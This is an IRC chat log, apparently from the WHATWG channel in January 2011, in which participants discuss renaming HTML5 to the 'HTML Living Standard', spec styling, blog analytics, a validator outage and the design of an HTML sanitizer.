[15:30:03.0000] <annevk>
people love the trivia

[15:30:04.0000] <Hixie>
i guess

[15:30:05.0000] <Hixie>
benschwarz: dhtml5.org had some bug that was causing whatwg.org to get hits for favicons in weird places

[15:30:06.0000] <Hixie>
it was fixed but i'm still getting hits

[15:30:07.0000] <annevk>
the hardcore algorithms are not conversation material

[15:31:00.0000] <Hixie>
annevk: you might want to just filter out the commits with message "typo" and "xref" then

[15:31:01.0000] <Hixie>
i wonder if someone has it open with an old copy of the page or something

[15:31:02.0000] <annevk>
Hixie, yeah, that might make sense

[15:32:00.0000] <jacobolus>
Hixie: I'll leave it to you, but I've never been a fan of small caps mixed with big caps, especially since browsers use the same glyphs for each, but with different scaling, so that the small caps end up looking really wimpy.

[15:32:01.0000] <Hixie>
annevk: multiple IPs though

[15:32:02.0000] <Hixie>
jacobolus: i'm gonna leave it for a while, see if it grows on me or not. I'll probably end up changing it back though.

[15:33:00.0000] <jacobolus>
I like the big HTML though :)

[15:33:01.0000] <Hixie>
yeah that's gonna stay

[15:33:02.0000] <benschwarz>
jacobolus: ps. I think your comments are really very poignant re: developers.

[15:33:03.0000] <Hixie>
i have a class on that h1 so that i can make it stay even if i change the default back :-)

[15:33:04.0000] <jacobolus>
benschwarz: hrm?

[15:33:05.0000] <benschwarz>
if you're interested in forking, working out how on earth to build it

[15:34:00.0000] <benschwarz>
I'd be interested in seeing patches ;)

[15:34:01.0000] <Hixie>
looks like it's three people who have dhtml5.org open

[15:34:02.0000] <Hixie>
on an old page

[15:34:03.0000] <jacobolus>
benschwarz: not quite sure what you're referring to?

[15:34:04.0000] <benschwarz>
jacobolus: the developer spec

[15:34:05.0000] <jacobolus>
did I say something about it? other than nice job, it's pretty?

[15:34:06.0000] <annevk>
Hixie, I meant the filtering of messages that just say "typo" or "xref"

[15:35:00.0000] <benschwarz>
jacobolus: are you not jrus?

[15:35:01.0000] <jacobolus>
benschwarz: or the "nice job, it's pretty" was poignant?

[15:35:02.0000] <annevk>
so the older copy of dhtml5.org changed the favicon on the fly?

[15:35:03.0000] <annevk>
hilarious

[15:35:04.0000] <jacobolus>
benschwarz: ah, that's me. okay, gotcha now

[15:35:05.0000] <jacobolus>
you're welcome

[15:35:06.0000] <adactio>
Just for the record, I think the "Living Standard" strapline is kind of cheesy. I'd much rather a plain old "HTML."

[15:36:00.0000] <benschwarz>
my my, its adactio

[15:36:01.0000] <Hixie>
annevk: ah

[15:36:02.0000] <jacobolus>
benschwarz: I try my best to be poignant whenever possible

[15:37:00.0000] <annevk>
adactio, so basically not bother with labeling the document?

[15:37:01.0000] <Hixie>
adactio: well we need the date, and the date on its own looks silly. having it say "standard" also puts an end to endless discussions about whether it's a draft and whether you can refer to it, etc.

[15:37:02.0000] <adactio>
annevk: Label it with "HTML"

[15:37:03.0000] <Hixie>
i like how google hasn't indexed the new title yet so if you do a "latest" search for "html" it says the top link is the spec but has the old title :-)

[15:38:00.0000] <jacobolus>
benschwarz: if you want to shrink a completely-separate-from-the-text code sample, that's probably fine

[15:38:01.0000] <annevk>
Hixie, it still says "Working Draft" on the side btw

[15:38:02.0000] <adactio>
Hixie: I don't think the date on its own looks silly.

[15:38:03.0000] <jacobolus>
benschwarz: it's just the in-line ones that are distractingly small

[15:38:04.0000] <benschwarz>
Hixie: fyi. I removed the date entirely from developers.whatwg.org…

[15:38:05.0000] <annevk>
Hixie, I think we could nuke the sidebar and maybe reduce the margin somewhat?

[15:38:06.0000] <TabAtkins>
Do the date on its own!

[15:38:07.0000] <annevk>
Hixie, the graphical sidebar that is

[15:39:00.0000] <annevk>
TabAtkins, adactio, I think Hixie has a point in that people will ask about it, but I suppose we could have a FAQ entry

[15:39:01.0000] <annevk>
there is no real reason to have that label

[15:40:00.0000] <annevk>
the only reason we have it is because other standard organizations use such labels

[15:40:01.0000] <adactio>
annevk: Yes, I think it's a job for the FAQ rather than the spec.

[15:40:02.0000] <benschwarz>
Hixie: the date is probably too high up the typographic hierarchy…

[15:41:00.0000] <Hixie>
benschwarz: on developers.whatwg.org the date isn't so critical

[15:41:01.0000] <Hixie>
annevk: the sidebar has been gone for about 20 minutes now

[15:41:02.0000] <Hixie>
i'm not taking off the "living standard" label right now, since we _just_ blogged that we were adding it, but we can revisit that in a few weeks, certainly

[15:41:03.0000] <annevk>
o_O

[15:42:00.0000] <Hixie>
you have to hard-refresh to get style sheet updates

[15:42:01.0000] <adactio>
Hixie: Okay. An interim measure it is, then.

[15:42:02.0000] <annevk>
everyone happy, great

[15:43:00.0000] <benschwarz>
adactio: Hi! We haven't met, yet…

[15:43:01.0000] <adactio>
benschwarz: Hello. Pleased to meet you.

[15:43:02.0000] <Hixie>
annevk: do we have any analytics on blog.whatwg.org?

[15:43:03.0000] <Hixie>
annevk: i'm curious to find out what our top referrers are

[15:44:00.0000] <annevk>
I think mpilgrim has details on that

[15:44:01.0000] <annevk>
he set up Google Analytics when he wrote blog entries and it has not been removed from the source code

[15:45:00.0000] <Hixie>
k

[15:45:01.0000] <Hixie>
mpilgrim: yt?

[15:45:02.0000] <annevk>
http://news.ycombinator.com/item?id=2121356 is probably one of them by the way

[15:45:03.0000] <benschwarz>
adactio: I'm from ab-c.com.au, we're new :0)

[15:45:04.0000] <benschwarz>
annevk: hacker news is only good for a few hundred hits

[15:46:00.0000] <adactio>
benschwarz: you did the CSS for the author spec, right? Nice work.

[15:46:01.0000] <benschwarz>
adactio: Yeah, I've been trying to move along on developers.whatwg.org too, Christmas break was too short though

[15:58:00.0000] <annevk>
adactio, thanks btw for pushing the envelope!

[15:59:00.0000] <annevk>
and to everyone else who cares about little details that make this great

[15:59:01.0000] <adactio>
annevk: no problemo. I don't contribute much, but I'm happy when I can.


2011-01-20
[16:03:00.0000] <mpilgrim>
hixie: here

[16:04:00.0000] <Hixie>
mpilgrim: can you get us analytics for the recent post?

[16:05:00.0000] <mpilgrim>
7418 pageviews

[16:05:01.0000] <mpilgrim>
102 sources

[16:05:02.0000] <mpilgrim>
daringfireball.net: 1050 hits

[16:05:03.0000] <mpilgrim>
news.ycombinator.com: 1045 hits

[16:05:04.0000] <mpilgrim>
reddit.com: 592 hits

[16:05:05.0000] <mpilgrim>
twitter: 566 hits

[16:06:00.0000] <mpilgrim>
google: 410 hits

[16:06:01.0000] <mpilgrim>
drops off after that

[16:09:00.0000] <Hixie>
cool, thanks

[16:11:00.0000] <annevk>
mpilgrim, could you add annevankesteren⊙gc as user?

[16:12:00.0000] <annevk>
from a brief look at what I used to have that seems to be possible, but I am not sure

[16:13:00.0000] <mpilgrim>
done

[16:13:01.0000] <mpilgrim>
i think

[16:13:02.0000] <Hixie>
ooh ooh add me! add me!

[16:13:03.0000] <Hixie>
ian.hickson⊙gc

[16:13:04.0000] <mpilgrim>
try https://www.google.com/analytics/reporting/?id=12053975

[16:14:00.0000] <Hixie>
gotta go, bbiab

[16:14:01.0000] <annevk>
http://daringfireball.net/linked/2011/01/19/ped-score o_O

[16:14:02.0000] <annevk>
cool

[16:14:03.0000] <annevk>
thanks

[16:16:00.0000] <bga_>
does whatwg has own logo?

[16:17:00.0000] <ben_c>
yeah, and it covers whatwg, w3c, google and bananas

[16:18:00.0000] <TabAtkins>
Anybody know much about the USB HID standard?  I'm looking to sanity check an idea.

[16:18:01.0000] <bga_>
i see. thanks

[16:18:02.0000] <ben_c>
bga_: there's actually the green question mark in the circle

[16:19:00.0000] <annevk>
bga_, http://www.whatwg.org/images/logo

[18:41:00.0000] <jacobolus>
mpilgrim: I know it's 60% off, but do you really expect us to buy the dead tree version of the html5 book when it's missing all the cute illustrations?

[18:43:00.0000] <jacobolus>
(I was sad to see them gone when I finally looked at a copy in a bookstore recently)

[18:43:01.0000] <paul_irish>
illustrations++

[18:44:00.0000] <jacobolus>
oh wait, is the 60% off only for the ebook?

[18:45:00.0000] <jacobolus>
so no illustrations and not even any dead trees?

[18:45:01.0000] <nimbupani>
whats not to luv

[18:49:00.0000] <mpilgrim>
no, i expect you to buy a bag of bits with no illustrations

[18:54:00.0000] <jacobolus>
mpilgrim: out of curiosity, did someone force you to ditch the pretty illustrations?

[18:54:01.0000] <jacobolus>
and if so, can we call to complain? :)

[18:55:00.0000] <jacobolus>
(this whole logo brouhaha has me in the complaining mood)

[18:55:01.0000] <mpilgrim>
talk to my o'reilly editor

[18:55:02.0000] <mpilgrim>
they wanted to maintain their branding

[18:57:00.0000] <mpilgrim>
i agreed as long as i could hand them HTML files and never have to touch Microsoft Word

[18:57:01.0000] <jacobolus>
haha. fair enough

[18:57:02.0000] <mpilgrim>
true story

[18:58:00.0000] <jacobolus>
yeah, avoiding word is a pretty good trade for just about any other terms they might want to throw at it

[19:26:00.0000] <Serenalis>
I just read the HTML is the new HTML5 blog post…and earlier today I saw the W3C announcement that they're launching a whole branding campaign around the term "HTML5." Doesn't this seem a bit inconsistent and divisive?

[19:27:00.0000] <Hixie>
the "HTML5" in the W3C logo effort and the WHATWG HTML spec aren't the same thing, so no

[19:27:01.0000] <Hixie>
in fact that's one of the reasons we changed it, to avoid confusion

[19:29:00.0000] <Serenalis>
There's already a great deal of confusion in the media and even among erudite web developers about what constitutes HTML5, and on that basis I agree with WHATWG's decision.

[19:30:00.0000] <Hixie>
cool

[19:30:01.0000] <Serenalis>
What concerns me is that just as web standards have finally reached a level of universal appeal and compliance, the two bodies that define them have gone in diametrically opposite directions with terminology (and to some extent, standards defining methodology).

[19:31:00.0000] <Hixie>
to be fair, the w3c hasn't changed direction

[19:31:01.0000] <Hixie>
and the whatwg changed direction last year (actually in late 2009), we just didn't change the name until today

[19:31:02.0000] <Serenalis>
Yes, true.

[19:32:00.0000] <Hixie>
in practice i don't think the directions are really incompatible -- we're still working together on the specs for example

[19:32:01.0000] <wirepair>
is there a page/blog/place one can get a definitive answer to all this inconsistency? wouldn't that help clear some things up?

[19:32:02.0000] <Hixie>
though i do think the w3c should join us in the version-less world :-)

[19:32:03.0000] <Hixie>
wirepair: i'm trying to update the faq, what question should i add? not sure what's unclear :-)

[19:33:00.0000] <wirepair>
how about... "The media seems really unclear on what HTML5 is and how it relates to newer web technology, what specificially designs HTML5 and how is it different than the whatwg HTML branding?"

[19:33:01.0000] <wirepair>
something like that ;)

[19:34:00.0000] <bga_>
s/version less/revision bases/ i guess

[19:34:01.0000] <MikeSmith>
Hixie: are e.g., dropzone="f:text/plain f:text/html" and dropzone="s:text/plain f:text/plain" meant to valid?

[19:34:02.0000] <wirepair>
err designates

[19:34:03.0000] <Hixie>
wirepair: let me update the current qs in the faq and then i'll ping you again and see if it answers the question

[19:34:04.0000] <wirepair>
oh i'm not saying i'm confused

[19:34:05.0000] <wirepair>
i'm saying the journalists are

[19:35:00.0000] <wirepair>
:)

[19:35:01.0000] <wirepair>
i think it's pretty simple tbh ehe

[19:35:02.0000] <Hixie>
wirepair: i'll ping you and you can see if you think they'll be less confused :-)

[19:35:03.0000] <wirepair>
sure :)

[19:36:00.0000] <Hixie>
MikeSmith: yes

[19:36:01.0000] <MikeSmith>
ok

[19:36:02.0000] <MikeSmith>
thanks

[19:36:03.0000] <Hixie>
MikeSmith: first one accepts text files and html files dragged in, second one accepts text selections dragged in and text files dragged in

[19:36:04.0000] <fullroundaction>
hey wait this isn't #nerdshitnoonecares about

[19:37:00.0000] <Hixie>
it isn't...? methinks he was lost.

[19:37:01.0000] <MikeSmith>
Hixie: I see -- thanks

[19:37:02.0000] <MikeSmith>
Hixie: no, clear to me know

[19:37:03.0000] <MikeSmith>
spec is clear

[19:38:00.0000] <MikeSmith>
Hixie: just trying to write the checker code for it

[19:40:00.0000] <MikeSmith>
/me now realizes Hixie was replying to dude

[19:40:01.0000] <Hixie>
heh

[19:42:00.0000] <Serenalis>
Are the WHATWG version of the HTML Living Standard and the W3C version of HTML5 always going to be consistent at least for the parts they have in common?

[19:43:00.0000] <Serenalis>
I understand that they're drawn from the same source document, but I'm also concerned that one or the other version may end up substantially different from the other due to this change in direction, and I wonder what this will mean for implementations in practice.

[19:43:01.0000] <benschwarz>
MikeSmith: :)

[19:45:00.0000] <MikeSmith>
benschwarz: ♨

[19:52:00.0000] <Hixie>
Serenalis: yes, they'll always be consistent (unless one goes way off the rails of course, but then that one will just be ignored)

[19:56:00.0000] <Serenalis>
Thanks for clearing that up, though I think that might be a useful FAQ entry for people who are very concerned on a practical level about writing standards-compliant code and especially convincing skeptical project managers about why that's both important and doable. :P

[20:06:00.0000] <Serenalis>
Hixie, with HTML as a living standard, is the intent that the spec will drive implementations or that implementations will shape the spec?

[20:06:01.0000] <Hixie>
both

[20:06:02.0000] <Hixie>
in practice it's always been both for successful specs

[20:08:00.0000] <nimbupani>
http://omghtml5.com/post/2837210354/the-most-standards-compliant-html5-logo

[20:10:00.0000] <Serenalis>
Hixie: I agree. One of the biggest criticisms of W3C specs historically has been that they have been disconnected with reality. This Living Standard approach could fix that. Do you think there's a chance W3C will follow suit?

[20:12:00.0000] <Serenalis>
Also, by the way, sorry for barging in and demanding answers with no preamble! Thanks very much for taking the time to talk, I really do appreciate it.

[20:20:00.0000] <jacobolus>
Serenalis: people who are concerned about writing compliant code are going to write code based on what is implemented in browsers, hopefully; making that be the same as the spec is (so far as I can tell) priority #1 for at least the WHATWG version

[20:20:01.0000] <Hixie>
Serenalis: happy to answer questions, sorry for the lag in my answers :-) (i'm editing the faq)

[20:20:02.0000] <jacobolus>
also, the people in here seem pretty friendly towards those of us who barge in and talk from time to time

[20:21:00.0000] <Hixie>
Serenalis: i don't know if the w3c will follow, but i really hope so

[20:21:01.0000] <jacobolus>
so don't worry about it, unless someone says otherwise

[20:21:02.0000] <Hixie>
Serenalis: it is unfortunately one of the most ingrained things at the w3c, so it might take a while

[20:24:00.0000] <Hixie>
is there a better definition for namespaces than http://www.w3schools.com/xml/xml_namespaces.asp ?

[20:25:00.0000] <nimbupani>
:|

[20:26:00.0000] <Serenalis>
jacobolus: I agree completely. Thanks. :)

[20:27:00.0000] <nimbupani>
https://developer.mozilla.org/en/SVG:Namespaces_Crash_Course needs some copyediting

[20:34:00.0000] <Serenalis>
Is the "What you can do" WHATWG wiki entry still current? I may be interested in getting involved once I get up to speed on the latest.

[20:34:01.0000] <Serenalis>
It'd be nice to contribute meaningfully rather than just asking questions.

[20:35:00.0000] <Hixie>
it's probably current

[20:36:00.0000] <Hixie>
haven't checked recently

[20:36:01.0000] <Hixie>
will do in a minute

[20:36:02.0000] <Hixie>
still editing the faq

[20:36:03.0000] <othermaciej>
Hixie: looks like s/HTML5/HTML/ has been rather well received after all

[20:37:00.0000] <Hixie>
yeah, i'm shocked at how well it went

[20:37:01.0000] <Hixie>
honestly didn't expect it to be this good

[20:37:02.0000] <cutepy>
hi i have a project to create an online document viewer. I plan to convert pdf documents to html for showing the documents.

[20:37:03.0000] <cutepy>
does anyone have any idea of how to program this

[20:37:04.0000] <Hixie>
i figured it'd be 50/50 at best and that people would come over in due course

[20:42:00.0000] <othermaciej>
a handfull of people expressed dislike, in the comments I saw, but not very strongly even

[20:42:01.0000] <Serenalis>
once I understood the intent, my reaction was kind of like "thank god"

[20:42:02.0000] <Serenalis>
"someone actually is connected with reality finally"

[20:43:00.0000] <Serenalis>
(as an outsider :))

[20:43:01.0000] <Serenalis>
I understand WHATWG has been working this way for a while, but to go public with an announcement was great

[20:50:00.0000] <evilandlazy>
My daughter suggested a new logo for the living standard. Hope you like it: http://www.zazzle.com/html_no_5_logo_shirt-235649046014311218

[20:52:00.0000] <Serenalis>
haha nice

[20:52:01.0000] <Serenalis>
I'm going to go ahead and say for the record that I rather strongly dislike the new w3c logo.

[20:52:02.0000] <bga_>
roof of house

[20:53:00.0000] <bga_>
top view

[20:57:00.0000] <Hixie>
evilandlazy: nice

[21:00:00.0000] <othermaciej>
I miss the green stripe

[21:02:00.0000] <Duke___>
Hixie: in home http://www.whatwg.org/ is correct HTML5 in section Specs?

[21:05:00.0000] <othermaciej>
whoah, someone might have just proved that P=NP

[21:06:00.0000] <othermaciej>
hide your kids, hide your wife, hide your public-key cryptosystems

[21:06:01.0000] <othermaciej>
http://romvf.wordpress.com/2011/01/19/open-letter/

[21:11:00.0000] <Serenalis>
Hixie: it was good to meet you; thanks for answering my questions. :) There may be more later! Good night all.

[21:58:00.0000] <MikeSmith>
´/me wonders if Java has a simple way to tokenize a string and check if it has any duplicate tokens

[23:06:00.0000] <hsivonen>
Hixie: relevant to canvas a11y: https://mozillalabs.com/skywriter/2011/01/18/mozilla-skywriter-has-been-merged-into-ace/

[23:06:01.0000] <Hixie>
yeah i heard about that

[23:06:02.0000] <Hixie>
good news

[23:09:00.0000] <Hixie>
http://wiki.whatwg.org/wiki/FAQ is updated

[23:09:01.0000] <Hixie>
wirepair: ^

[23:09:02.0000] <Hixie>
bbl

[23:47:00.0000] <MikeSmith>
hsivonen: bugzilla.validator.nu appears to be down

[23:48:00.0000] <hsivonen>
MikeSmith: yeah. I go to sleep for a night and my Web sites drop off the Web :-(

[23:48:01.0000] <MikeSmith>
heh

[23:49:00.0000] <MikeSmith>
teenagers

[23:50:00.0000] <hsivonen>
MikeSmith: Someone was using the generic instance of Validator.nu too much

[23:51:00.0000] <hsivonen>
I need to figure out what to do about that

[23:51:01.0000] <hsivonen>
MikeSmith: anyway, bugzilla.validator.nu and hsivonen.iki.fi are now back

[23:52:00.0000] <MikeSmith>
cool, thanks

[23:54:00.0000] <MikeSmith>
hsivonen: don't currently have any rate limiting set up with iptables or whatever?

[23:54:01.0000] <hsivonen>
MikeSmith: no. I suck at this sysadmin stuff

[23:55:00.0000] <MikeSmith>
me too :)

[23:55:01.0000] <MikeSmith>
something I'm glad I don't have to deal with

[23:57:00.0000] <hsivonen>
OK. I think I found the guilty IP address...

[23:58:00.0000] <MikeSmith>
hope it's not mine :)

[23:58:01.0000] <MikeSmith>
/me is reading http://brendaneich.com/2011/01/harmony-of-my-dreams/

[00:02:00.0000] <hsivonen>
ok. the validator is now back, too, with the resource-over-using IP address banned

[00:04:00.0000] <hsivonen>
whoa! looks like something with a Yandex IP and a Yandex bot UA is disrespecting robots.txt!

[00:04:01.0000] <hsivonen>
(but that's not the cause of the DoS problem)

[00:07:00.0000] <othermaciej>
I wonder why no one has decided that robots.txt must be replaced by some sort of robots.xml

[00:11:00.0000] <hsivonen>
othermaciej: I believe the has been a draft for XML-based discovery on robots.txt-like things, though

[00:11:01.0000] <hsivonen>
(I sent email to Yandex)

[00:12:00.0000] <hsivonen>
MikeSmith: it seems to me iptables is the wrong tool here and I should take the time to implement some kind of throttling in Validator.nu itself

[00:13:00.0000] <hsivonen>
to dynamically detect IP numbers that make unreasonably frequent request to the Web service APIs

[00:16:00.0000] <MikeSmith>
hsivonen: that'd be certainly be nice

[00:16:01.0000] <MikeSmith>
benefit others who run their own instances

[00:16:02.0000] <MikeSmith>
as a plus

[00:21:00.0000] <wirepair>
Hixie: looks good :)

[00:21:01.0000] <zcorpan>
i like the full inline references in developers.whatwg.org

[00:23:00.0000] <hsivonen>
If the person who has written software in Ruby that hammers validator.nu with bursts of WWW::Mechanize traffic to the JSON-based Web service interface is reading the logs, please make your program sleep for a bit between validations as a courtesy to other users

[00:23:01.0000] <zcorpan>
although it could leave out the fluff and just have the link text in the references

[00:26:00.0000] <zcorpan>
benschwarz: i'd prefer a bit darker gray for the examples

[00:27:00.0000] <benschwarz>
zcorpan: So would I :)

[00:27:01.0000] <benschwarz>
Its not quite right, I thought the examples would barely be used

[00:27:02.0000] <benschwarz>
I later discovered that they're *everywhere*

[00:27:03.0000] <benschwarz>
Its on my list, but perhaps an issue logged would stop people from telling me its wrong :)

[00:27:04.0000] <benschwarz>
Did you check the issues before asking?

[00:28:00.0000] <zcorpan>
nope :)

[00:28:01.0000] <benschwarz>
hmm. okay :)

[00:38:00.0000] <zcorpan>
Hixie: https://github.com/benschwarz/developers.whatwg.org/issues#issue/7 applies to the normal multipage versions too

[00:59:00.0000] <wirepair>
hsivonen: are you sure someones not just abusing your validator as a proxy?

[00:59:01.0000] <wirepair>
i'm pretty sure i've said in this channel that the validators could easily be abused

[00:59:02.0000] <wirepair>
heh

[01:00:00.0000] <thiessenp>
Would anyone know what browser versions fully support HTML5 markup?

[01:12:00.0000] <annevk>
http://my.opera.com/c69/blog/html5-logo-is-ok -- haha

[01:18:00.0000] <annevk>
I approved a bunch more comments

[01:20:00.0000] <annevk>
even got a comment from Jukka K. Korpela

[01:21:00.0000] <annevk>
He thinks we are not making sense

[01:24:00.0000] <annevk>
We gained over 100 followers on twitter yesterday

[01:24:01.0000] <annevk>
Lets change names every week!

[01:27:00.0000] <zcorpan>
next up: DHTML Standard

[01:30:00.0000] <annevk>
http://plasmasturm.org/log/trolliquette/

[01:30:01.0000] <annevk>
:)

[01:31:00.0000] <annevk>
/me approves comment by foolip

[01:32:00.0000] <annevk>
I believe this is only for the first time people leave a comment

[01:32:01.0000] <annevk>
Maybe we could turn it off... I have only seen a couple bad comments and most got caught by the spam filter already.

[01:33:00.0000] <foolip>
hehe, at first I thought you meant "approves" as in "likes"

[01:34:00.0000] <annevk>
heh

[01:34:01.0000] <hsivonen>
do we have a canned answer for explaining why hasFeature and similar things by another name don't work?

[01:35:00.0000] <zcorpan>
foolip: he just concluded that you weren't a spammer, but still didn't like your comment at all

[01:37:00.0000] <hsivonen>
wirepair: pretty sure. the script was POSTing the content it was validating instead of GETting it from elsewhere

[01:39:00.0000] <annevk>
http://omghtml5.com/ haha

[01:39:01.0000] <hsivonen>
thiessenp: no such browser

[01:40:00.0000] <thiessenp>
hsivonen: booo (thanks :)

[01:45:00.0000] <annevk>
http://twitter.com/pornelski/status/27871749907423233 has a great theory: "WHATWG moves beyond "HTML5". That's probably just to keep HTML5-committed @IE a version behind again ;)"

[01:46:00.0000] <zcorpan>
"The hunt for the so-called “HTML5 team” is now underway, more information shortly. A deck of cards will be created for these villains as soon as we know who they are." http://omghtml5.com/post/2062326530/breaking-news-html5-breaks-web-on-purpose

[02:23:00.0000] <annevk>
I installed a caching plugin by the way

[02:23:01.0000] <annevk>
The one that was most popular

[02:23:02.0000] <annevk>
Hopefully it works

[02:25:00.0000] <annevk>
we had over a 100 retweets btw

[02:25:01.0000] <annevk>
see http://twitoaster.com/country-in/whatwg/html-is-the-new-html5-—/

[02:26:00.0000] <annevk>
"This tweet received 111 twitter mentions (4 replies and 107 retweets) from 110 distinct twitter users. In addition to WHATWG followers, it has been read by 125,918 second-level followers (retweeters followers)."

[02:26:01.0000] <annevk>
"This conversation is linked to the Twitter India country."

[02:26:02.0000] <annevk>
lol

[02:28:00.0000] <hsivonen>
There's India and then there's Twitter India

[02:29:00.0000] <erlehmann>
lol one one eleven

[02:33:00.0000] <annevk>
wait, othermaciej points out an article that might suggest P=NP but wasn't there one already that proofed the opposite?

[02:34:00.0000] <annevk>
http://en.wikipedia.org/wiki/P_versus_NP_problem#Claimed_solutions ah, that was not accepted yet

[02:34:01.0000] <othermaciej>
annevk: that proof is not widely believed to be valid

[02:35:00.0000] <annevk>
s/yet//

[02:38:00.0000] <jgraham>
There is probably a strong correlation between the number of attempted proofs of a problem and its fame. P?=NP is such a famous problem that the density of claimed solutions in either direction is extremely high. Most pass right under the radar, but the internet is very good on picking up those with slightly above-average credibility

[02:38:01.0000] <annevk>
http://bit.ly/gR27Et - HTML LS

[02:39:00.0000] <annevk>
I sort of hope that term is not going to catch on :)

[02:39:01.0000] <heycam>
HTML, Immortal Edition

[02:42:00.0000] <jgraham>
HTML, God Mode

[02:42:01.0000] <jgraham>
The specification that cannot die

[02:42:02.0000] <heycam>
HTML iddqd?

[02:42:03.0000] <zcorpan>
HTML5 is idkfa

[02:44:00.0000] <annevk>
http://www.reddit.com/r/programming/comments/f5e8k/yesterday_the_w3c_proposed_a_html5_logo_with_a/ is not very positive overall

[02:47:00.0000] <matjas>
since when do we care what reddit thinks?

[02:48:00.0000] <annevk>
just interesting to see what the perception is

[02:49:00.0000] <zcorpan>
isn't reddit mostly not very positive?

[02:50:00.0000] <Workshiva>
It seems like the usual misunderstanding of how browser standards work

[02:51:00.0000] <annevk>
zcorpan, could be

[02:52:00.0000] <annevk>
overall this went really well I think

[02:55:00.0000] <Workshiva>
"So yeah, will CSS3 become CSS now?"

[02:55:01.0000] <Workshiva>
That is actually a great example of how a version number is meaningless

[03:03:00.0000] <annevk>
updated http://wiki.whatwg.org/wiki/WebAppsTweet to ignore typo and xref fixes

[03:06:00.0000] <arminbw>
I will call it HTML+

[03:12:00.0000] <david_carlisle>
html+ is done already, it expired

[03:13:00.0000] <annevk>
Another thing I considered doing was enabling an easy way to get the specification for each specific SVN revision. However, I am not entirely sure how to deal with changing dependencies.

[03:15:00.0000] <arminbw>
So if html+ expired it's actually just html again, right? Old html.

[03:16:00.0000] <jgraham>
html++ then

[03:16:01.0000] <annevk>
The whole point is that there is no difference!

[03:17:00.0000] <Rik`>
and then it will be html# or objective-html ?

[03:18:00.0000] <david_carlisle>
You should all just be using mathml anyway, this html thing won't catch on

[03:22:00.0000] <jgraham>
annevk: But html++ means that every person who reads the name gets a unique version number! It is giving ownsership of the spec to the community!

[03:25:00.0000] <arminbw>
lets put it on github

[03:27:00.0000] <hsivonen>
"You essentially have to treat browsers as a bunch of somewhat sleazy politicians" -- Robin Berjon

[03:28:00.0000] <othermaciej>
and a nice day to you too, Mr Berjon

[03:28:01.0000] <jgraham>
hsivonen: Is there any context or is this twitter?

[03:29:00.0000] <hsivonen>
jgraham: http://lists.w3.org/Archives/Public/public-html-xml/2011Jan/0231.html

[03:31:00.0000] <jgraham>
Hum. What he actually says is quite reasonable

[03:31:01.0000] <jgraham>
His phrasing of it is pure flamebait

[03:32:00.0000] <annevk>
well, or funny

[03:32:01.0000] <david_carlisle>
othermaciej: He was being nice to you really, and just agreeing with hsivonen that you need to test for what's implemented

[03:33:00.0000] <othermaciej>
sure, in context his flamebait was eminently reasonable

[03:33:01.0000] <jgraham>
annevk: Didn't really register as funny for me. I guess he might have been going for "funny"

[03:35:00.0000] <jgraham>
though

[03:39:00.0000] <annevk>
as far as I can tell his views have shifted somewhat since the SVG days

[03:39:01.0000] <annevk>
and are somewhat similar to ours now

[03:40:00.0000] <hsivonen>
fwiw, I was quoting out of context for amusement. I don't disapprove of Robin's email.

[03:40:01.0000] <david_carlisle>
annevk: what people get older?

[03:42:00.0000] <asmodai>
lol @ http://dl.dropbox.com/u/50841/twitter/WhatsNew.png

[03:45:00.0000] <charlvn>
haha, good one

[03:46:00.0000] <annevk>
what is rowspan in wiki syntax?

[03:46:01.0000] <asmodai>
Whoever came up with the badge builder ought to be shot

[03:47:00.0000] <asmodai>
I thought we ditched such idiotic badges/images finally.

[03:48:00.0000] <asmodai>
/me prepares for a new round of Works with FF/IE and Valid HTML images on pages :(

[03:48:01.0000] <hsivonen>
asmodai: saying that someone ought to be shot isn't really an improvement over the military imagery

[03:48:02.0000] <annevk>
found it

[03:48:03.0000] <Lachy>
asmodai, we ditched idiotic validation badges that made false claims more often than not

[03:48:04.0000] <asmodai>
hsivonen: Heh, true.

[03:49:00.0000] <asmodai>
Funny though, if you select those features of the badge builder, it's like HTML5 is growing a Pinoccio nose

[04:01:00.0000] <annevk>
I made some more changes to the FAQ

[04:05:00.0000] <hsivonen>
hmm. writing a sanitizer becomes really complicated if you want to decide whether the token becomes an HTML, MathML or SVG element before deciding whether to drop it

[04:06:00.0000] <hsivonen>
maybe it's just not worth it...

[04:08:00.0000] <hsivonen>
maintaining distinct attribute white lists for the three should be easy-ish, though

[04:09:00.0000] <jgraham>
hsivonen: What is the difficulty?

[04:10:00.0000] <jgraham>
(I'm not saying there isn't one, just wondering what, specifcally, you find hard)

[04:11:00.0000] <hsivonen>
jgraham: if you drop an element after the tree builder algorithm has run, you need a marker on the stack so that you know to drop the matching end tags but not to drop end tags whose element didn't get dropped

[04:12:00.0000] <hsivonen>
so then you have this sparse stack where some stack nodes are "not really" markers that you can't append children to but that participate in the tree builder algorithm otherwise

[04:12:01.0000] <hsivonen>
it looks to me that those "not really" or "can't use this node as a parent" markers will suck for the AAA and such

[04:13:00.0000] <annevk>
so you want to sanitize during parsing rather than serializing?

[04:14:00.0000] <hsivonen>
jgraham: otoh, if you always drop all start and end tag tokens for a given tag name, you don't need to keep track of stuff to match end tags with the start tags

[04:14:01.0000] <hsivonen>
annevk: yes

[04:14:02.0000] <hsivonen>
annevk: and only from the security POV--not from the correctness POV

[04:14:03.0000] <david_carlisle>
annevk: On Robin's views changing since  svg days "It wasn't long before mobile SVG implementations also used XML parsers that were a little bit more open-minded " :-)

[04:17:00.0000] <jgraham>
hsivonen: Is it too much work to probe what namespace a tag will become by inspecting the current state of the treebuilder and knowing what the entry/exit points from foreignContent are?

[04:19:00.0000] <david_carlisle>
hsivonen:  is there an existing element name for which you do want to take a different decision, depending on html/mathml/svg, or is this future proofing?

[04:20:00.0000] <jgraham>
hsivonen: (the big problem I see with speculatively inserting elements and rolling back if they end up in an undesired namespace is around AAA and so)

[04:21:00.0000] <jgraham>
(I think that would mean you had to snapshot the entire tree rather than just marking the inserted elements)

[04:21:01.0000] <hsivonen>
david_carlisle: I can't think of one from the security POV

[04:22:00.0000] <hsivonen>
david_carlisle: so perhaps I shouldn't even try to have distinct white lists

[04:22:01.0000] <hsivonen>
jgraham: that approach would probably make sense if distinct white lists were actually necessary

[04:24:00.0000] <annevk>
hmm comments are getting somewhat off-topic

[04:24:01.0000] <annevk>
oh well

[04:24:02.0000] <hsivonen>
anyway, I threw away my complicated code and will try again

[04:24:03.0000] <hsivonen>
this time dropping tokens before the tree builder runs

[04:28:00.0000] <jgraham>
hsivonen: Presumably the reason would be that future standards bodies might be idiotic enough to invent tag names that are safe in one namespace but not another. Or we might grandfather in a language where, say, <div> means "run this script"

[04:28:01.0000] <jgraham>
